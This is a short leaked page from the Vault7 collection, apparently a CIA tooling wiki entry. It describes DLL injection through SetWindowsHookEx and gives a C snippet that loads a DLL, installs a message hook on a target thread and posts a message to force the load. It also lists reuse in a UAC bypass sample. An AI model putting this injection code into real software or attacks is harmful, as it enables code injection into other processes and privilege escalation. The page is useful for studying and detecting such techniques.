Vault7: CIA Hacking Tools Revealed
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DLL Injection using SetWindowsHookEx
Overview
This code sets a windows hook with the DLL to be injected and a dummy function that simply passes the hooked message to the next handler. After setting the hook, a thread message is sent to force the DLL to be loaded to handle it.
hDll = LoadLibraryEx(L"ElevatedComTestDLL.dll",NULL, DONT_RESOLVE_DLL_REFERENCES);
hookProcAddr=(HOOKPROC)GetProcAddress(hDll, "_CBTProc@12");
injectHook=SetWindowsHookEx(WH_GETMESSAGE,hookProcAddr, hDll, tid);
if(!PostThreadMessageW(tid,WM_RBUTTONDOWN, (WPARAM) 0, (LPARAM)0))
return false;This is a well-known technique and may trigger PSPPersonal Security Product (Anti-Virus) warnings.
Source Code
Public Internet
Component Reuse
UACBypass sample
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